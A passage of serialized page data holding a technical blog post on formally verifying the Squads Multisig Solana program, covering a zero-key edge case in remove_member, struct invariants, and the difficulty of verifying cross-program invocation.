data",{"type":25,"tag":271,"props":40063,"children":40064},{"style":13603},[40065],{"type":30,"value":359},{"type":25,"tag":271,"props":40067,"children":40068},{"style":13603},[40069],{"type":30,"value":38409},{"type":25,"tag":271,"props":40071,"children":40072},{"style":13625},[40073],{"type":30,"value":14351},{"type":25,"tag":271,"props":40075,"children":40076},{"class":13593,"line":16744},[40077,40081,40085,40089],{"type":25,"tag":271,"props":40078,"children":40079},{"style":13598},[40080],{"type":30,"value":38462},{"type":25,"tag":271,"props":40082,"children":40083},{"style":13603},[40084],{"type":30,"value":359},{"type":25,"tag":271,"props":40086,"children":40087},{"style":16187},[40088],{"type":30,"value":16190},{"type":25,"tag":271,"props":40090,"children":40091},{"style":13625},[40092],{"type":30,"value":14351},{"type":25,"tag":271,"props":40094,"children":40095},{"class":13593,"line":16761},[40096],{"type":25,"tag":271,"props":40097,"children":40098},{"style":13625},[40099],{"type":30,"value":38483},{"type":25,"tag":271,"props":40101,"children":40102},{"class":13593,"line":16778},[40103],{"type":25,"tag":271,"props":40104,"children":40105},{"style":13625},[40106],{"type":30,"value":38491},{"type":25,"tag":271,"props":40108,"children":40109},{"class":13593,"line":16791},[40110,40114,40118,40122,40126,40130],{"type":25,"tag":271,"props":40111,"children":40112},{"style":13598},[40113],{"type":30,"value":38499},{"type":25,"tag":271,"props":40115,"children":40116},{"style":13603},[40117],{"type":30,"value":359},{"type":25,"tag":271,"props":40119,"children":40120},{"style":13609},[40121],{"type":30,"value":38508},{"type":25,"tag":271,"props":40123,"children":40124},{"style":13625},[40125],{"type":30,"value":22709},{"type":25,"tag":271,"props":40127,"children":40128},{"style":13603},[40129],{"type":30,"value":22714},{"type":25,"tag":271,"props":40131,"children":40132},{"style":13625},[40133],{"type":30,"value":38521},{"type":25,"tag":271,"props":40135,"children":40136},{"class":13593,"line":16800},[40137],{"type":25,"tag":271,"props":40138,"children":40139},{"style":13625},[40140],{"type":30,"value":17058},{"type":25,"tag":26,"props":40142,"children":40143},{},[40144],{"type":30,"value":40145},"Interestingly, the multisig has 0 keys and yet this instruction does not error. Let's take a closer look to figure out why:",{"type":25,"tag":26,"props":40147,"children":40148},{},[40149,40151,40157],{"type":30,"value":40150},"Inside our handler, we see that it only checks if the number of keys exactly equals 1. Otherwise it invokes ",{"type":25,"tag":264,"props":40152,"children":40154},{"className":40153},[],[40155],{"type":30,"value":40156},"Ms::remove_member",{"type":30,"value":359},{"type":25,"tag":7764,"props":40159,"children":40161},{"code":40160,"language":13585,"meta":7,"className":13586,"style":7},"if ctx.accounts.multisig.keys.len() == 1 {\n    return err!(MsError::CannotRemoveSoloMember);\n}\nctx.accounts.multisig.remove_member(old_member)?;\n",[40162],{"type":25,"tag":264,"props":40163,"children":40164},{"__ignoreMap":7},[40165,40224,40255,40262],{"type":25,"tag":271,"props":40166,"children":40167},{"class":13593,"line":13594},[40168,40172,40176,40180,40184,40188,40192,40196,40200,40204,40208,40212,40216,40220],{"type":25,"tag":271,"props":40169,"children":40170},{"style":16171},[40171],{"type":30,"value":28701},{"type":25,"tag":271,"props":40173,"children":40174},{"style":13598},[40175],{"type":30,"value":38953},{"type":25,"tag":271,"props":40177,"children":40178},{"style":13603},[40179],{"type":30,"value":1860},{"type":25,"tag":271,"props":40181,"children":40182},{"style":13625},[40183],{"type":30,"value":27796},{"type":25,"tag":271,"props":40185,"children":40186},{"style":13603},[40187],{"type":30,"value":1860},{"type":25,"tag":271,"props":40189,"children":40190},{"style":13625},[40191],{"type":30,"value":36915},{"type":25,"tag":271,"props":40193,"children":40194},{"style":13603},[40195],{"type":30,"value":1860},{"type":25,"tag":271,"props":40197,"children":40198},{"style":13625},[40199],{"type":30,"value":34103},{"type":25,"tag":271,"props":40201,"children":40202},{"style":13603},[40203],{"type":30,"value":1860},{"type":25,"tag":271,"props":40205,"children":40206},{"style":13620},[40207],{"type":30,"value":22261},{"type":25,"tag":271,"props":40209,"children":40210},{"style":13625},[40211],{"type":30,"value":27164},{"type":25,"tag":271,"props":40213,"children":40214},{"style":13603},[40215],{"type":30,"value":21696},{"type":25,"tag":271,"props":40217,"children":40218},{"style":16187},[40219],{"type":30,"value":17654},{"type":25,"tag":271,"props":40221,"children":40222},{"style":13625},[40223],{"type":30,"value":16431},{"type":25,"tag":271,"props":40225,"children":40226},{"class":13593,"line":11641},[40227,40231,40235,40239,40243,40247,40251],{"type":25,"tag":271,"props":40228,"children":40229},{"style":16171},[40230],{"type":30,"value":30111},{"type":25,"tag":271,"props":40232,"children":40233},{"style":13620},[40234],{"type":30,"value":36618},{"type":25,"tag":271,"props":40236,"children":40237},{"style":13625},[40238],{"type":30,"value":394},{"type":25,"tag":271,"props":40240,"children":40241},{"style":13609},[40242],{"type":30,"value":36627},{"type":25,"tag":271,"props":40244,"children":40245},{"style":13603},[40246],{"type":30,"value":13617},{"type":25,"tag":271,"props":40248,"children":40249},{"style":13609},[40250],{"type":30,"value":39029},{"type":25,"tag":271,"props":40252,"children":40253},{"style":13625},[40254],{"type":30,"value":13665},{"type":25,"tag":271,"props":40256,"children":40257},{"class":13593,"line":14354},[40258],{"type":25,"tag":271,"props":40259,"children":40260},{"style":13625},[40261],{"type":30,"value":17058},{"type":25,"tag":271,"props":40263,"children":40264},{"class":13593,"line":14391},[40265,40269,40273,40277,40281,40285,40289,40293,40297,40301,40305,40309],{"type":25,"tag":271,"props":40266,"children":40267},{"style":13598},[40268],{"type":30,"value":33401},{"type":25,"tag":271,"props":40270,"children":40271},{"style":13603},[40272],{"type":30,"value":1860},{"type":25,"tag":271,"props":40274,"children":40275},{"style":13625},[40276],{"type":30,"value":27796},{"type":25,"tag":271,"props":40278,"children":40279},{"style":13603},[40280],{"type":30,"value":1860},{"type":25,"tag":271,"props":40282,"children":40283},{"style":13625},[40284],{"type":30,"value":36915},{"type":25,"tag":271,"props":40286,"children":40287},{"style":13603},[40288],{"type":30,"value":1860},{"type":25,"tag":271,"props":40290,"children":40291},{"style":13620},[40292],{"type":30,"value":38576},{"type":25,"tag":271,"props":40294,"children":40295},{"style":13625},[40296],{"type":30,"value":394},{"type":25,"tag":271,"props":40298,"children":40299},{"style":13598},[40300],{"type":30,"value":38909},{"type":25,"tag":271,"props":40302,"children":40303},{"style":13625},[40304],{"type":30,"value":440},{"type":25,"tag":271,"props":40306,"children":40307},{"style":13603},[40308],{"type":30,"value":5632},{"type":25,"tag":271,"props":40310,"children":40311},{"style":13625},[40312],{"type":30,"value":16165},{"type":25,"tag":26,"props":40314,"children":40315},{},[40316,40318,40324,40326,40332],{"type":30,"value":40317},"In that function, it checks if the member to remove is contained in that multisig (with ",{"type":25,"tag":264,"props":40319,"children":40321},{"className":40320},[],[40322],{"type":30,"value":40323},"Ms::is_member",{"type":30,"value":40325},") and if it is not, it simply skips the removal and returns ",{"type":25,"tag":264,"props":40327,"children":40329},{"className":40328},[],[40330],{"type":30,"value":40331},"Ok(())",{"type":30,"value":1860},{"type":25,"tag":7764,"props":40334,"children":40336},{"code":40335,"language":13585,"meta":7,"className":13586,"style":7},"pub fn remove_member(&mut self, member: Pubkey) -> Result\u003C()> {\n    if let Some(ind) = self.is_member(member) {\n        self.keys.remove(ind);\n        if self.keys.len() \u003C usize::from(self.threshold) {\n            self.threshold = self.keys.len().try_into().unwrap();\n        }\n    }\n    Ok(())\n}\n",[40337],{"type":25,"tag":264,"props":40338,"children":40339},{"__ignoreMap":7},[40340,40404,40463,40500,40559,40627,40634,40641,40652],{"type":25,"tag":271,"props":40341,"children":40342},{"class":13593,"line":13594},[40343,40347,40351,40355,40359,40363,40367,40371,40375,40380,40384,40388,40392,40396,40400],{"type":25,"tag":271,"props":40344,"children":40345},{"style":14289},[40346],{"type":30,"value":14292},{"type":25,"tag":271,"props":40348,"children":40349},{"style":14289},[40350],{"type":30,"value":14297},{"type":25,"tag":271,"props":40352,"children":40353},{"style":13620},[40354],{"type":30,"value":38875},{"type":25,"tag":271,"props":40356,"children":40357},{"style":13625},[40358],{"type":30,"value":394},{"type":25,"tag":271,"props":40360,"children":40361},{"style":13603},[40362],{"type":30,"value":13632},{"type":25,"tag":271,"props":40364,"children":40365},{"style":14289},[40366],{"type":30,"value":16877},{"type":25,"tag":271,"props":40368,"children":40369},{"style":14289},[40370],{"type":30,"value":26918},{"type":25,"tag":271,"props":40372,"children":40373},{"style":13625},[40374],{"type":30,"value":44},{"type":25,"tag":271,"props":40376,"children":40377},{"style":13598},[40378],{"type":30,"value":40379},"member",{"type":25,"tag":271,"props":40381,"children":40382},{"style":13603},[40383],{"type":30,"value":359},{"type":25,"tag":271,"props":40385,"children":40386},{"style":13609},[40387],{"type":30,"value":33977},{"type":25,"tag":271,"props":40389,"children":40390},{"style":13625},[40391],{"type":30,"value":14406},{"type":25,"tag":271,"props":40393,"children":40394},{"style":13603},[40395],{"type":30,"value":14411},{"type":25,"tag":271,"props":40397,"children":40398},{"style":13609},[40399],{"type":30,"value":14416},{"type":25,"tag":271,"props":40401,"children":40402},{"style":13625},[40403],{"type":30,"value":33452},{"type":25,"tag":271,"props":40405,"children":40406},{"class":13593,"line":11641},[40407,40411,40416,40421,40425,40430,40434,40438,40442,40446,40451,40455,40459],{"type":25,"tag":271,"props":40408,"children":40409},{"style":16171},[40410],{"type":30,"value":25404},{"type":25,"tag":271,"props":40412,"children":40413},{"style":14289},[40414],{"type":30,"value":40415}," let",{"type":25,"tag":271,"props":40417,"children":40418},{"style":13609},[40419],{"type":30,"value":40420}," Some",{"type":25,"tag":271,"props":40422,"children":40423},{"style":13625},[40424],{"type":30,"value":394},{"type":25,"tag":271,"props":40426,"children":40427},{"style":13598},[40428],{"type":30,"value":40429},"ind",{"type":25,"tag":271,"props":40431,"children":40432},{"style":13625},[40433],{"type":30,"value":14406},{"type":25,"tag":271,"props":40435,"children":40436},{"style":13603},[40437],{"type":30,"value":1065},{"type":25,"tag":271,"props":40439,"children":40440},{"style":14289},[40441],{"type":30,"value":26918},{"type":25,"tag":271,"props":40443,"children":40444},{"style":13603},[40445],{"type":30,"value":1860},{"type":25,"tag":271,"props":40447,"children":40448},{"style":13620},[40449],{"type":30,"value":40450},"is_member",{"type":25,"tag":271,"props":40452,"children":40453},{"style":13625},[40454],{"type":30,"value":394},{"type":25,"tag":271,"props":40456,"children":40457},{"style":13598},[40458],{"type":30,"value":40379},{"type":25,"tag":271,"props":40460,"children":40461},{"style":13625},[40462],{"type":30,"value":27925},{"type":25,"tag":271,"props":40464,"children":40465},{"class":13593,"line":14354},[40466,40471,40475,40479,40483,40488,40492,40496],{"type":25,"tag":271,"props":40467,"children":40468},{"style":14289},[40469],{"type":30,"value":40470},"        self",{"type":25,"tag":271,"props":40472,"children":40473},{"style":13603},[40474],{"type":30,"value":1860},{"type":25,"tag":271,"props":40476,"children":40477},{"style":13625},[40478],{"type":30,"value":34103},{"type":25,"tag":271,"props":40480,"children":40481},{"style":13603},[40482],{"type":30,"value":1860},{"type":25,"tag":271,"props":40484,"children":40485},{"style":13620},[40486],{"type":30,"value":40487},"remove",{"type":25,"tag":271,"props":40489,"children":40490},{"style":13625},[40491],{"type":30,"value":394},{"type":25,"tag":271,"props":40493,"children":40494},{"style":13598},[40495],{"type":30,"value":40429},{"type":25,"tag":271,"props":40497,"children":40498},{"style":13625},[40499],{"type":30,"value":13665},{"type":25,"tag":271,"props":40501,"children":40502},{"class":13593,"line":14391},[40503,40507,40511,40515,40519,40523,40527,40531,40535,40539,40543,40547,40551,40555],{"type":25,"tag":271,"props":40504,"children":40505},{"style":16171},[40506],{"type":30,"value":16412},{"type":25,"tag":271,"props":40508,"children":40509},{"style":14289},[40510],{"type":30,"value":26918},{"type":25,"tag":271,"props":40512,"children":40513},{"style":13603},[40514],{"type":30,"value":1860},{"type":25,"tag":271,"props":40516,"children":40517},{"style":13625},[40518],{"type":30,"value":34103},{"type":25,"tag":271,"props":40520,"children":40521},{"style":13603},[40522],{"type":30,"value":1860},{"type":25,"tag":271,"props":40524,"children":40525},{"style":13620},[40526],{"type":30,"value":22261},{"type":25,"tag":271,"props":40528,"children":40529},{"style":13625},[40530],{"type":30,"value":39154},{"type":25,"tag":271,"props":40532,"children":40533},{"style":13609},[40534],{"type":30,"value":29724},{"type":25,"tag":271,"props":40536,"children":40537},{"style":13603},[40538],{"type":30,"value":13617},{"type":25,"tag":271,"props":40540,"children":40541},{"style":13620},[40542],{"type":30,"value":32594},{"type":25,"tag":271,"props":40544,"children":40545},{"style":13625},[40546],{"type":30,"value":394},{"type":25,"tag":271,"props":40548,"children":40549},{"style":14289},[40550],{"type":30,"value":26836},{"type":25,"tag":271,"props":40552,"children":40553},{"style":13603},[40554],{"type":30,"value":1860},{"type":25,"tag":271,"props":40556,"children":40557},{"style":13625},[40558],{"type":30,"value":39199},{"type":25,"tag":271,"props":40560,"children":40561},{"class":13593,"line":14400},[40562,40567,40571,40575,40579,40583,40587,40591,40595,40599,40603,40607,40611,40615,40619,40623],{"type":25,"tag":271,"props":40563,"children":40564},{"style":14289},[40565],{"type":30,"value":40566},"            self",{"type":25,"tag":271,"props":40568,"children":40569},{"style":13603},[40570],{"type":30,"value":1860},{"type":25,"tag":271,"props":40572,"children":40573},{"style":13625},[40574],{"type":30,"value":34191},{"type":25,"tag":271,"props":40576,"children":40577},{"style":13603},[40578],{"type":30,"value":1065},{"type":25,"tag":271,"props":40580,"children":40581},{"style":14289},[40582],{"type":30,"value":26918},{"type":25,"tag":271,"props":40584,"children":40585},{"style":13603},[40586],{"type":30,"value":1860},{"type":25,"tag":271,"props":40588,"children":40589},{"style":13625},[40590],{"type":30,"value":34103},{"type":25,"tag":271,"props":40592,"children":40593},{"style":13603},[40594],{"type":30,"value":1860},{"type":25,"tag":271,"props":40596,"children":40597},{"style":13620},[40598],{"type":30,"value":22261},{"type":25,"tag":271,"props":40600,"children":40601},{"style":13625},[40602],{"type":30,"value":27000},{"type":25,"tag":271,"props":40604,"children":40605},{"style":13603},[40606],{"type":30,"value":1860},{"type":25,"tag":271,"props":40608,"children":40609},{"style":13620},[40610],{"type":30,"value":39272},{"type":25,"tag":271,"props":40612,"children":40613},{"style":13625},[40614],{"type":30,"value":27000},{"type":25,"tag":271,"props":40616,"children":40617},{"style":13603},[40618],{"type":30,"value":1860},{"type":25,"tag":271,"props":40620,"children":40621},{"style":13620},[40622],{"type":30,"value":16815},{"type":25,"tag":271,"props":40624,"children":40625},{"style":13625},[40626],{"type":30,"value":16820},{"type":25,"tag":271,"props":40628,"children":40629},{"class":13593,"line":16406},[40630],{"type":25,"tag":271,"props":40631,"children":40632},{"style":13625},[40633],{"type":30,"value":16492},{"type":25,"tag":271,"props":40635,"children":40636},{"class":13593,"line":16434},[40637],{"type":25,"tag":271,"props":40638,"children":40639},{"style":13625},[40640],{"type":30,"value":16501},{"type":25,"tag":271,"props":40642,"children":40643},{"class":13593,"line":16447},[40644,40648],{"type":25,"tag":271,"props":40645,"children":40646},{"style":13609},[40647],{"type":30,"value":27454},{"type":25,"tag":271,"props":40649,"children":40650},{"style":13625},[40651],{"type":30,"value":27459},{"type":25,"tag":271,"props":40653,"children":40654},{"class":13593,"line":16465},[40655],{"type":25,"tag":271,"props":40656,"children":40657},{"style":13625},[40658],{"type":30,"value":17058},{"type":25,"tag":26,"props":40660,"children":40661},{},[40662,40664,40669,40671,40677,40679,40685,40687,40692],{"type":30,"value":40663},"Inside ",{"type":25,"tag":264,"props":40665,"children":40667},{"className":40666},[],[40668],{"type":30,"value":40323},{"type":30,"value":40670},", we see that it performs a ",{"type":25,"tag":264,"props":40672,"children":40674},{"className":40673},[],[40675],{"type":30,"value":40676},"binary_search",{"type":30,"value":40678}," on the keys vec and returns the index or ",{"type":25,"tag":264,"props":40680,"children":40682},{"className":40681},[],[40683],{"type":30,"value":40684},"None",{"type":30,"value":40686},". Since the vec has size zero, this will just return ",{"type":25,"tag":264,"props":40688,"children":40690},{"className":40689},[],[40691],{"type":30,"value":40684},{"type":30,"value":1860},{"type":25,"tag":7764,"props":40694,"children":40696},{"code":40695,"language":13585,"meta":7,"className":13586,"style":7},"pub fn is_member(&self, member: Pubkey) -> Option\u003Cusize> {\n    match self.keys.binary_search(&member) {\n        Ok(ind) => Some(ind),\n        _ => None,\n    }\n}\n",[40697],{"type":25,"tag":264,"props":40698,"children":40699},{"__ignoreMap":7},[40700,40769,40812,40851,40873,40880],{"type":25,"tag":271,"props":40701,"children":40702},{"class":13593,"line":13594},[40703,40707,40711,40716,40720,40724,40728,40732,40736,40740,40744,40748,40752,40757,40761,40765],{"type":25,"tag":271,"props":40704,"children":40705},{"style":14289},[40706],{"type":30,"value":14292},{"type":25,"tag":271,"props":40708,"children":40709},{"style":14289},[40710],{"type":30,"value":14297},{"type":25,"tag":271,"props":40712,"children":40713},{"style":13620},[40714],{"type":30,"value":40715}," is_member",{"type":25,"tag":271,"props":40717,"children":40718},{"style":13625},[40719],{"type":30,"value":394},{"type":25,"tag":271,"props":40721,"children":40722},{"style":13603},[40723],{"type":30,"value":13632},{"type":25,"tag":271,"props":40725,"children":40726},{"style":14289},[40727],{"type":30,"value":26836},{"type":25,"tag":271,"props":40729,"children":40730},{"style":13625},[40731],{"type":30,"value":44},{"type":25,"tag":271,"props":40733,"children":40734},{"style":13598},[40735],{"type":30,"value":40379},{"type":25,"tag":271,"props":40737,"children":40738},{"style":13603},[40739],{"type":30,"value":359},{"type":25,"tag":271,"props":40741,"children":40742},{"style":13609},[40743],{"type":30,"value":33977},{"type":25,"tag":271,"props":40745,"children":40746},{"style":13625},[40747],{"type":30,"value":14406},{"type":25,"tag":271,"props":40749,"children":40750},{"style":13603},[40751],{"type":30,"value":14411},{"type":25,"tag":271,"props":40753,"children":40754},{"style":13609},[40755],{"type":30,"value":40756}," Option",{"type":25,"tag":271,"props":40758,"children":40759},{"style":13625},[40760],{"type":30,"value":14307},{"type":25,"tag":271,"props":40762,"children":40763},{"style":13609},[40764],{"type":30,"value":29724},{"type":25,"tag":271,"props":40766,"children":40767},{"style":13625},[40768],{"type":30,"value":20404},{"type":25,"tag":271,"props":40770,"children":40771},{"class":13593,"line":11641},[40772,40776,40780,40784,40788,40792,40796,40800,40804,40808],{"type":25,"tag":271,"props":40773,"children":40774},{"style":16171},[40775],{"type":30,"value":27874},{"type":25,"tag":271,"props":40777,"children":40778},{"style":14289},[40779],{"type":30,"value":26918},{"type":25,"tag":271,"props":40781,"children":40782},{"style":13603},[40783],{"type":30,"value":1860},{"type":25,"tag":271,"props":40785,"children":40786},{"style":13625},[40787],{"type":30,"value":34103},{"type":25,"tag":271,"props":40789,"children":40790},{"style":13603},[40791],{"type":30,"value":1860},{"type":25,"tag":271,"props":40793,"children":40794},{"style":13620},[40795],{"type":30,"value":40676},{"type":25,"tag":271,"props":40797,"children":40798},{"style":13625},[40799],{"type":30,"value":394},{"type":25,"tag":271,"props":40801,"children":40802},{"style":13603},[40803],{"type":30,"value":13632},{"type":25,"tag":271,"props":40805,"children":40806},{"style":13598},[40807],{"type":30,"value":40379},{"type":25,"tag":271,"props":40809,"children":40810},{"style":13625},[40811],{"type":30,"value":27925},{"type":25,"tag":271,"props":40813,"children":40814},{"class":13593,"line":14354},[40815,40819,40823,40827,40831,40835,40839,40843,40847],{"type":25,"tag":271,"props":40816,"children":40817},{"style":13609},[40818],{"type":30,"value":27933},{"type":25,"tag":271,"props":40820,"children":40821},{"style":13625},[40822],{"type":30,"value":394},{"type":25,"tag":271,"props":40824,"children":40825},{"style":13598},[40826],{"type":30,"value":40429},{"type":25,"tag":271,"props":40828,"children":40829},{"style":13625},[40830],{"type":30,"value":14406},{"type":25,"tag":271,"props":40832,"children":40833},{"style":13603},[40834],{"type":30,"value":27943},{"type":25,"tag":271,"props":40836,"children":40837},{"style":13609},[40838],{"type":30,"value":40420},{"type":25,"tag":271,"props":40840,"children":40841},{"style":13625},[40842],{"type":30,"value":394},{"type":25,"tag":271,"props":40844,"children":40845},{"style":13598},[40846],{"type":30,"value":40429},{"type":25,"tag":271,"props":40848,"children":40849},{"style":13625},[40850],{"type":30,"value":19860},{"type":25,"tag":271,"props":40852,"children":40853},{"class":13593,"line":14391},[40854,40859,40864,40869],{"type":25,"tag":271,"props":40855,"children":40856},{"style":13598},[40857],{"type":30,"value":40858},"        _",{"type":25,"tag":271,"props":40860,"children":40861},{"style":13603},[40862],{"type":30,"value":40863}," =>",{"type":25,"tag":271,"props":40865,"children":40866},{"style":13609},[40867],{"type":30,"value":40868}," None",{"type":25,"tag":271,"props":40870,"children":40871},{"style":13625},[40872],{"type":30,"value":14351},{"type":25,"tag":271,"props":40874,"children":40875},{"class":13593,"line":14400},[40876],{"type":25,"tag":271,"props":40877,"children":40878},{"style":13625},[40879],{"type":30,"value":16501},{"type":25,"tag":271,"props":40881,"children":40882},{"class":13593,"line":16406},[40883],{"type":25,"tag":271,"props":40884,"children":40885},{"style":13625},[40886],{"type":30,"value":17058},{"type":25,"tag":26,"props":40888,"children":40889},{},[40890,40892,40897,40899,40904,40906,40911,40913,40918],{"type":30,"value":40891},"So interestingly, a ",{"type":25,"tag":264,"props":40893,"children":40895},{"className":40894},[],[40896],{"type":30,"value":34103},{"type":30,"value":40898}," vec of size 0 ",{"type":25,"tag":10281,"props":40900,"children":40901},{},[40902],{"type":30,"value":40903},"is actually",{"type":30,"value":40905}," a sufficient condition to execute ",{"type":25,"tag":264,"props":40907,"children":40909},{"className":40908},[],[40910],{"type":30,"value":38576},{"type":30,"value":40912},". However would it ever actually happen? Well we know from before that when we create the multisig, the threshold must be less than or equal to the number of keys and also greater than zero. So in any ",{"type":25,"tag":10281,"props":40914,"children":40915},{},[40916],{"type":30,"value":40917},"valid",{"type":30,"value":40919}," multisig, the number of keys should never be zero.",{"type":25,"tag":26,"props":40921,"children":40922},{},[40923,40925,40930],{"type":30,"value":40924},"We can represent this ",{"type":25,"tag":10281,"props":40926,"children":40927},{},[40928],{"type":30,"value":40929},"validity",{"type":30,"value":40931}," with a struct invariant. In fact the invariant we defined earlier will be sufficient:",{"type":25,"tag":7764,"props":40933,"children":40935},{"code":40934,"language":13585,"meta":7,"className":13586,"style":7},"#[invariant(\n    (self.threshold >= 1)\n    && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms { ... }\n",[40936],{"type":25,"tag":264,"props":40937,"children":40938},{"__ignoreMap":7},[40939,40946,40969,41020,41027],{"type":25,"tag":271,"props":40940,"children":40941},{"class":13593,"line":13594},[40942],{"type":25,"tag":271,"props":40943,"children":40944},{"style":13625},[40945],{"type":30,"value":33898},{"type":25,"tag":271,"props":40947,"children":40948},{"class":13593,"line":11641},[40949,40953,40957,40961,40965],{"type":25,"tag":271,"props":40950,"children":40951},{"style":13625},[40952],{"type":30,"value":37839},{"type":25,"tag":271,"props":40954,"children":40955},{"style":13603},[40956],{"type":30,"value":1860},{"type":25,"tag":271,"props":40958,"children":40959},{"style":13625},[40960],{"type":30,"value":34191},{"type":25,"tag":271,"props":40962,"children":40963},{"style":13603},[40964],{"type":30,"value":23067},{"type":25,"tag":271,"props":40966,"children":40967},{"style":13625},[40968],{"type":30,"value":34200},{"type":25,"tag":271,"props":40970,"children":40971},{"class":13593,"line":14354},[40972,40976,40980,40984,40988,40992,40996,41000,41004,41008,41012,41016],{"type":25,"tag":271,"props":40973,"children":40974},{"style":13603},[40975],{"type":30,"value":28743},{"type":25,"tag":271,"props":40977,"children":40978},{"style":13625},[40979],{"type":30,"value":34124},{"type":25,"tag":271,"props":40981,"children":40982},{"style":13603},[40983],{"type":30,"value":1860},{"type":25,"tag":271,"props":40985,"children":40986},{"style":13625},[40987],{"type":30,"value":34191},{"type":25,"tag":271,"props":40989,"children":40990},{"style":14289},[40991],{"type":30,"value":21962},{"type":25,"tag":271,"props":40993,"children":40994},{"style":13609},[40995],{"type":30,"value":26854},{"type":25,"tag":271,"props":40997,"children":40998},{"style":13603},[40999],{"type":30,"value":21318},{"type":25,"tag":271,"props":41001,"children":41002},{"style":13625},[41003],{"type":30,"value":26918},{"type":25,"tag":271,"props":41005,"children":41006},{"style":13603},[41007],{"type":30,"value":1860},{"type":25,"tag":271,"props":41009,"children":41010},{"style":13625},[41011],{"type":30,"value":34103},{"type":25,"tag":271,"props":41013,"children":41014},{"style":13603},[41015],{"type":30,"value":1860},{"type":25,"tag":271,"props":41017,"children":41018},{"style":13625},[41019],{"type":30,"value":34252},{"type":25,"tag":271,"props":41021,"children":41022},{"class":13593,"line":14391},[41023],{"type":25,"tag":271,"props":41024,"children":41025},{"style":13625},[41026],{"type":30,"value":33379},{"type":25,"tag":271,"props":41028,"children":41029},{"class":13593,"line":14400},[41030,41034,41038,41042,41046,41050],{"type":25,"tag":271,"props":41031,"children":41032},{"style":14289},[41033],{"type":30,"value":14292},{"type":25,"tag":271,"props":41035,"children":41036},{"style":14289},[41037],{"type":30,"value":34271},{"type":25,"tag":271,"props":41039,"children":41040},{"style":13609},[41041],{"type":30,"value":34276},{"type":25,"tag":271,"props":41043,"children":41044},{"style":13625},[41045],{"type":30,"value":22709},{"type":25,"tag":271,"props":41047,"children":41048},{"style":13603},[41049],{"type":30,"value":22714},{"type":25,"tag":271,"props":41051,"children":41052},{"style":13625},[41053],{"type":30,"value":22719},{"type":25,"tag":26,"props":41055,"children":41056},{},[41057,41059,41065,41067,41073],{"type":30,"value":41058},"The use of a struct invariant allows us to define (and verify) the possible states that an account can be in at the start and end of an instruction. In this case, our struct invariant rules out the case where ",{"type":25,"tag":264,"props":41060,"children":41062},{"className":41061},[],[41063],{"type":30,"value":41064},"keys.len() == 0",{"type":30,"value":41066}," and allows us to prove the biconditional ",{"type":25,"tag":264,"props":41068,"children":41070},{"className":41069},[],[41071],{"type":30,"value":41072},"(keys.len() >= 1) -> (instruction succeeds)",{"type":30,"value":1860},{"type":25,"tag":247,"props":41075,"children":41077},{"id":41076},"safety-guarantees",[41078],{"type":30,"value":35884},{"type":25,"tag":26,"props":41080,"children":41081},{},[41082],{"type":30,"value":41083},"Formal verification is an awesome technique but it is not perfect. There are situations where things are not possible to formally verify and you need to resort to other methods.",{"type":25,"tag":26,"props":41085,"children":41086},{},[41087],{"type":30,"value":41088},"In particular, one of the difficult-to-verify parts of the Squads Multisig program is cross-program-invocation. Specifically, since cross-program-invocation executes foreign code, it is difficult (if not impossible) to verify whether this will succeed or fail.",{"type":25,"tag":26,"props":41090,"children":41091},{},[41092,41094,41100],{"type":30,"value":41093},"In the multisig program this happens in the ",{"type":25,"tag":264,"props":41095,"children":41097},{"className":41096},[],[41098],{"type":30,"value":41099},"execute_transaction",{"type":30,"value":41101}," instruction.",{"type":25,"tag":26,"props":41103,"children":41104},{},[41105],{"type":25,"tag":10281,"props":41106,"children":41107},{},[41108],{"type":30,"value":41109},"So what do you do?",{"type":25,"tag":26,"props":41111,"children":41112},{},[41113],{"type":30,"value":41114},"For example, in a worst-case scenario you could imagine a situation like the following:",{"type":25,"tag":7764,"props":41116,"children":41118},{"code":41117,"language":13585,"meta":7,"className":13586,"style":7},"#[derive(Accounts)]\npub MyCtx {\n    #[account(mut)]\n    pub my_account: Account\u003C'info, Acc>\n}\n\n#[account]\n#[invariant(bad == false)]\nstruct Acc {\n    pub bad: bool\n}\n\nimpl Acc {\n    pub fn put_into_bad_state() {\n        self.bad = true;\n    }\n}\n\n// Instruction handler:\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n    invoke_signed(...); // Cross-program invocation\n\n    let invoke_res = ...; // fetch result of invocation\n    if invoke_res == 5 {\n        ctx.my_account.put_into_bad_state(); // corrupt our account\n    }\n    Ok(())\n}\n",[41119],{"type":25,"tag":264,"props":41120,"children":41121},{"__ignoreMap":7},[41122,41137,41153,41168,41209,41216,41223,41230,41247,41263,41284,41291,41298,41314,41334,41362,41369,41376,41383,41391,41444,41470,41477,41506,41530,41565,41572,41583],{"type":25,"tag":271,"props":41123,"children":41124},{"class":13593,"line":13594},[41125,41129,41133],{"type":25,"tag":271,"props":41126,"children":41127},{"style":13625},[41128],{"type":30,"value":35937},{"type":25,"tag":271,"props":41130,"children":41131},{"style":13609},[41132],{"type":30,"value":35942},{"type":25,"tag":271,"props":41134,"children":41135},{"style":13625},[41136],{"type":30,"value":33379},{"type":25,"tag":271,"props":41138,"children":41139},{"class":13593,"line":11641},[41140,41144,41149],{"type":25,"tag":271,"props":41141,"children":41142},{"style":14289},[41143],{"type":30,"value":14292},{"type":25,"tag":271,"props":41145,"children":41146},{"style":13609},[41147],{"type":30,"value":41148}," MyCtx",{"type":25,"tag":271,"props":41150,"children":41151},{"style":13625},[41152],{"type":30,"value":16431},{"type":25,"tag":271,"props":41154,"children":41155},{"class":13593,"line":14354},[41156,41160,41164],{"type":25,"tag":271,"props":41157,"children":41158},{"style":13625},[41159],{"type":30,"value":36229},{"type":25,"tag":271,"props":41161,"children":41162},{"style":14289},[41163],{"type":30,"value":16877},{"type":25,"tag":271,"props":41165,"children":41166},{"style":13625},[41167],{"type":30,"value":33379},{"type":25,"tag":271,"props":41169,"children":41170},{"class":13593,"line":14391},[41171,41175,41180,41184,41188,41192,41196,41200,41205],{"type":25,"tag":271,"props":41172,"children":41173},{"style":14289},[41174],{"type":30,"value":33963},{"type":25,"tag":271,"props":41176,"children":41177},{"style":13598},[41178],{"type":30,"value":41179}," 